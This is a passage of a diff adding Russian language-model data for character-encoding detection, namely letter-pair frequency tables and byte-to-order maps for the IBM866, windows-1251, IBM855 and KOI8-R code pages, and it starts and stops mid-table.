0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 2, # 'я' + }, + 18: { # 'ы' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 3, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 2, # 'и' + 23: 3, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 1, # 'о' + 15: 3, # 'п' + 9: 3, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 3, # 'ч' + 25: 3, # 'ш' + 29: 2, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 2, # 'я' + }, + 17: { # 'ь' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 3, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 3, # 'к' + 8: 0, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 2, # 'о' + 15: 2, # 'п' + 9: 1, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 0, # 'у' + 39: 2, # 'ф' + 26: 1, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 3, # 'ш' + 29: 2, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 3, # 'ю' + 16: 3, # 'я' + }, + 30: { # 'э' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 1, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 1, # 'е' + 24: 0, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 2, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 2, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 27: { # 'ю' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 3, # 'б' + 10: 1, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 1, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 1, # 'и' + 23: 1, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 1, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 0, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 2, # 'ю' + 16: 1, # 'я' + }, + 16: { # 'я' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 2, # 'б' + 10: 3, # 'в' + 19: 2, # 'г' + 13: 3, # 'д' + 2: 3, # 'е' + 24: 3, # 'ж' + 20: 3, # 'з' + 4: 2, # 'и' + 23: 2, # 'й' + 11: 3, # 'к' + 8: 3, # 'л' + 12: 3, # 'м' + 5: 3, # 'н' + 1: 0, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 3, # 'т' + 14: 1, # 'у' + 39: 1, # 'ф' + 26: 3, # 'х' + 28: 2, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 3, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 2, # 'ю' + 16: 2, # 'я' + }, +} + +# 255: Undefined characters that did not exist in training text +# 254: Carriage/Return +# 253: symbol (punctuation) that does not belong to word +# 252: 0 - 9 +# 251: Control characters + +# Character Mapping Table(s): +IBM866_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 37, # 'А' + 129: 44, # 'Б' + 130: 33, # 'В' + 131: 46, # 'Г' + 132: 41, # 'Д' + 133: 48, # 'Е' + 134: 56, # 'Ж' + 135: 51, # 'З' + 136: 42, # 'И' + 137: 60, # 'Й' + 138: 36, # 'К' + 139: 49, # 'Л' + 140: 38, # 'М' + 141: 31, # 'Н' + 142: 34, # 'О' + 143: 35, # 'П' + 144: 45, # 'Р' + 145: 32, # 'С' + 146: 40, # 'Т' + 147: 52, # 'У' + 148: 53, # 'Ф' + 149: 55, # 'Х' + 150: 58, # 'Ц' + 151: 50, # 'Ч' + 152: 57, # 'Ш' + 153: 63, # 'Щ' + 154: 70, # 'Ъ' + 155: 62, # 'Ы' + 156: 61, # 'Ь' + 157: 47, # 'Э' + 158: 59, # 'Ю' + 159: 43, # 'Я' + 160: 3, # 'а' + 161: 21, # 'б' + 162: 10, # 'в' + 163: 19, # 'г' + 164: 13, # 'д' + 165: 2, # 'е' + 166: 24, # 'ж' + 167: 20, # 'з' + 168: 4, # 'и' + 169: 23, # 'й' + 170: 11, # 'к' + 171: 8, # 'л' + 172: 12, # 'м' + 173: 5, # 'н' + 174: 1, # 'о' + 175: 15, # 'п' + 176: 191, # '░' + 177: 192, # '▒' + 178: 193, # '▓' + 179: 194, # '│' + 180: 195, # '┤' + 181: 196, # '╡' + 182: 197, # '╢' + 183: 198, # '╖' + 184: 199, # '╕' + 185: 200, # '╣' + 186: 201, # '║' + 187: 202, # '╗' + 188: 203, # '╝' + 189: 204, # '╜' + 190: 205, # '╛' + 191: 206, # '┐' + 192: 207, # '└' + 193: 208, # '┴' + 194: 209, # '┬' + 195: 210, # '├' + 196: 211, # '─' + 197: 212, # '┼' + 198: 213, # '╞' + 199: 214, # '╟' + 200: 215, # '╚' + 201: 216, # '╔' + 202: 217, # '╩' + 203: 218, # '╦' + 204: 219, # '╠' + 205: 220, # '═' + 206: 221, # '╬' + 207: 222, # '╧' + 208: 223, # '╨' + 209: 224, # '╤' + 210: 225, # '╥' + 211: 226, # '╙' + 212: 227, # '╘' + 213: 228, # '╒' + 214: 229, # '╓' + 215: 230, # '╫' + 216: 231, # '╪' + 217: 232, # '┘' + 218: 233, # '┌' + 219: 234, # '█' + 220: 235, # '▄' + 221: 236, # '▌' + 222: 237, # '▐' + 223: 238, # '▀' + 224: 9, # 'р' + 225: 7, # 'с' + 226: 6, # 'т' + 227: 14, # 'у' + 228: 39, # 'ф' + 229: 26, # 'х' + 230: 28, # 'ц' + 231: 22, # 'ч' + 232: 25, # 'ш' + 233: 29, # 'щ' + 234: 54, # 'ъ' + 235: 18, # 'ы' + 236: 17, # 'ь' + 237: 30, # 'э' + 238: 27, # 'ю' + 239: 16, # 'я' + 240: 239, # 'Ё' + 241: 68, # 'ё' + 242: 240, # 'Є' + 243: 241, # 'є' + 244: 242, # 'Ї' + 245: 243, # 'ї' + 246: 244, # 'Ў' + 247: 245, # 'ў' + 248: 246, # '°' + 249: 247, # '∙' + 250: 248, # '·' + 251: 249, # '√' + 252: 250, # '№' + 253: 251, # '¤' + 254: 252, # '■' + 255: 255, # '\xa0' +} + +IBM866_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='IBM866', + language='Russian', + char_to_order_map=IBM866_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +WINDOWS_1251_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 191, # 'Ђ' + 129: 192, # 'Ѓ' + 130: 193, # '‚' + 131: 194, # 'ѓ' + 132: 195, # '„' + 133: 196, # '…' + 134: 197, # '†' + 135: 198, # '‡' + 136: 199, # '€' + 137: 200, # '‰' + 138: 201, # 'Љ' + 139: 202, # '‹' + 140: 203, # 'Њ' + 141: 204, # 'Ќ' + 142: 205, # 'Ћ' + 143: 206, # 'Џ' + 144: 207, # 'ђ' + 145: 208, # '‘' + 146: 209, # '’' + 147: 210, # '“' + 148: 211, # '”' + 149: 212, # '•' + 150: 213, # '–' + 151: 214, # '—' + 152: 215, # None + 153: 216, # '™' + 154: 217, # 'љ' + 155: 218, # '›' + 156: 219, # 'њ' + 157: 220, # 'ќ' + 158: 221, # 'ћ' + 159: 222, # 'џ' + 160: 223, # '\xa0' + 161: 224, # 'Ў' + 162: 225, # 'ў' + 163: 226, # 'Ј' + 164: 227, # '¤' + 165: 228, # 'Ґ' + 166: 229, # '¦' + 167: 230, # '§' + 168: 231, # 'Ё' + 169: 232, # '©' + 170: 233, # 'Є' + 171: 234, # '«' + 172: 235, # '¬' + 173: 236, # '\xad' + 174: 237, # '®' + 175: 238, # 'Ї' + 176: 239, # '°' + 177: 240, # '±' + 178: 241, # 'І' + 179: 242, # 'і' + 180: 243, # 'ґ' + 181: 244, # 'µ' + 182: 245, # '¶' + 183: 246, # '·' + 184: 68, # 'ё' + 185: 247, # '№' + 186: 248, # 'є' + 187: 249, # '»' + 188: 250, # 'ј' + 189: 251, # 'Ѕ' + 190: 252, # 'ѕ' + 191: 253, # 'ї' + 192: 37, # 'А' + 193: 44, # 'Б' + 194: 33, # 'В' + 195: 46, # 'Г' + 196: 41, # 'Д' + 197: 48, # 'Е' + 198: 56, # 'Ж' + 199: 51, # 'З' + 200: 42, # 'И' + 201: 60, # 'Й' + 202: 36, # 'К' + 203: 49, # 'Л' + 204: 38, # 'М' + 205: 31, # 'Н' + 206: 34, # 'О' + 207: 35, # 'П' + 208: 45, # 'Р' + 209: 32, # 'С' + 210: 40, # 'Т' + 211: 52, # 'У' + 212: 53, # 'Ф' + 213: 55, # 'Х' + 214: 58, # 'Ц' + 215: 50, # 'Ч' + 216: 57, # 'Ш' + 217: 63, # 'Щ' + 218: 70, # 'Ъ' + 219: 62, # 'Ы' + 220: 61, # 'Ь' + 221: 47, # 'Э' + 222: 59, # 'Ю' + 223: 43, # 'Я' + 224: 3, # 'а' + 225: 21, # 'б' + 226: 10, # 'в' + 227: 19, # 'г' + 228: 13, # 'д' + 229: 2, # 'е' + 230: 24, # 'ж' + 231: 20, # 'з' + 232: 4, # 'и' + 233: 23, # 'й' + 234: 11, # 'к' + 235: 8, # 'л' + 236: 12, # 'м' + 237: 5, # 'н' + 238: 1, # 'о' + 239: 15, # 'п' + 240: 9, # 'р' + 241: 7, # 'с' + 242: 6, # 'т' + 243: 14, # 'у' + 244: 39, # 'ф' + 245: 26, # 'х' + 246: 28, # 'ц' + 247: 22, # 'ч' + 248: 25, # 'ш' + 249: 29, # 'щ' + 250: 54, # 'ъ' + 251: 18, # 'ы' + 252: 17, # 'ь' + 253: 30, # 'э' + 254: 27, # 'ю' + 255: 16, # 'я' +} + +WINDOWS_1251_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='windows-1251', + language='Russian', + char_to_order_map=WINDOWS_1251_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +IBM855_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 142, # 'A' + 66: 143, # 'B' + 67: 144, # 'C' + 68: 145, # 'D' + 69: 146, # 'E' + 70: 147, # 'F' + 71: 148, # 'G' + 72: 149, # 'H' + 73: 150, # 'I' + 74: 151, # 'J' + 75: 152, # 'K' + 76: 74, # 'L' + 77: 153, # 'M' + 78: 75, # 'N' + 79: 154, # 'O' + 80: 155, # 'P' + 81: 156, # 'Q' + 82: 157, # 'R' + 83: 158, # 'S' + 84: 159, # 'T' + 85: 160, # 'U' + 86: 161, # 'V' + 87: 162, # 'W' + 88: 163, # 'X' + 89: 164, # 'Y' + 90: 165, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 71, # 'a' + 98: 172, # 'b' + 99: 66, # 'c' + 100: 173, # 'd' + 101: 65, # 'e' + 102: 174, # 'f' + 103: 76, # 'g' + 104: 175, # 'h' + 105: 64, # 'i' + 106: 176, # 'j' + 107: 177, # 'k' + 108: 77, # 'l' + 109: 72, # 'm' + 110: 178, # 'n' + 111: 69, # 'o' + 112: 67, # 'p' + 113: 179, # 'q' + 114: 78, # 'r' + 115: 73, # 's' + 116: 180, # 't' + 117: 181, # 'u' + 118: 79, # 'v' + 119: 182, # 'w' + 120: 183, # 'x' + 121: 184, # 'y' + 122: 185, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 191, # 'ђ' + 129: 192, # 'Ђ' + 130: 193, # 'ѓ' + 131: 194, # 'Ѓ' + 132: 68, # 'ё' + 133: 195, # 'Ё' + 134: 196, # 'є' + 135: 197, # 'Є' + 136: 198, # 'ѕ' + 137: 199, # 'Ѕ' + 138: 200, # 'і' + 139: 201, # 'І' + 140: 202, # 'ї' + 141: 203, # 'Ї' + 142: 204, # 'ј' + 143: 205, # 'Ј' + 144: 206, # 'љ' + 145: 207, # 'Љ' + 146: 208, # 'њ' + 147: 209, # 'Њ' + 148: 210, # 'ћ' + 149: 211, # 'Ћ' + 150: 212, # 'ќ' + 151: 213, # 'Ќ' + 152: 214, # 'ў' + 153: 215, # 'Ў' + 154: 216, # 'џ' + 155: 217, # 'Џ' + 156: 27, # 'ю' + 157: 59, # 'Ю' + 158: 54, # 'ъ' + 159: 70, # 'Ъ' + 160: 3, # 'а' + 161: 37, # 'А' + 162: 21, # 'б' + 163: 44, # 'Б' + 164: 28, # 'ц' + 165: 58, # 'Ц' + 166: 13, # 'д' + 167: 41, # 'Д' + 168: 2, # 'е' + 169: 48, # 'Е' + 170: 39, # 'ф' + 171: 53, # 'Ф' + 172: 19, # 'г' + 173: 46, # 'Г' + 174: 218, # '«' + 175: 219, # '»' + 176: 220, # '░' + 177: 221, # '▒' + 178: 222, # '▓' + 179: 223, # '│' + 180: 224, # '┤' + 181: 26, # 'х' + 182: 55, # 'Х' + 183: 4, # 'и' + 184: 42, # 'И' + 185: 225, # '╣' + 186: 226, # '║' + 187: 227, # '╗' + 188: 228, # '╝' + 189: 23, # 'й' + 190: 60, # 'Й' + 191: 229, # '┐' + 192: 230, # '└' + 193: 231, # '┴' + 194: 232, # '┬' + 195: 233, # '├' + 196: 234, # '─' + 197: 235, # '┼' + 198: 11, # 'к' + 199: 36, # 'К' + 200: 236, # '╚' + 201: 237, # '╔' + 202: 238, # '╩' + 203: 239, # '╦' + 204: 240, # '╠' + 205: 241, # '═' + 206: 242, # '╬' + 207: 243, # '¤' + 208: 8, # 'л' + 209: 49, # 'Л' + 210: 12, # 'м' + 211: 38, # 'М' + 212: 5, # 'н' + 213: 31, # 'Н' + 214: 1, # 'о' + 215: 34, # 'О' + 216: 15, # 'п' + 217: 244, # '┘' + 218: 245, # '┌' + 219: 246, # '█' + 220: 247, # '▄' + 221: 35, # 'П' + 222: 16, # 'я' + 223: 248, # '▀' + 224: 43, # 'Я' + 225: 9, # 'р' + 226: 45, # 'Р' + 227: 7, # 'с' + 228: 32, # 'С' + 229: 6, # 'т' + 230: 40, # 'Т' + 231: 14, # 'у' + 232: 52, # 'У' + 233: 24, # 'ж' + 234: 56, # 'Ж' + 235: 10, # 'в' + 236: 33, # 'В' + 237: 17, # 'ь' + 238: 61, # 'Ь' + 239: 249, # '№' + 240: 250, # '\xad' + 241: 18, # 'ы' + 242: 62, # 'Ы' + 243: 20, # 'з' + 244: 51, # 'З' + 245: 25, # 'ш' + 246: 57, # 'Ш' + 247: 30, # 'э' + 248: 47, # 'Э' + 249: 29, # 'щ' + 250: 63, # 'Щ' + 251: 22, # 'ч' + 252: 50, # 'Ч' + 253: 251, # '§' + 254: 252, # '■' + 255: 255, # '\xa0' +} + +IBM855_RUSSIAN_MODEL = SingleByteCharSetModel(charset_name='IBM855', + language='Russian', + char_to_order_map=IBM855_RUSSIAN_CHAR_TO_ORDER, + language_model=RUSSIAN_LANG_MODEL, + typical_positive_ratio=0.976601, + keep_ascii_letters=False, + alphabet='ЁАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯабвгдежзийклмнопрстуфхцчшщъыьэюяё') + +KOI8_R_RUSSIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # 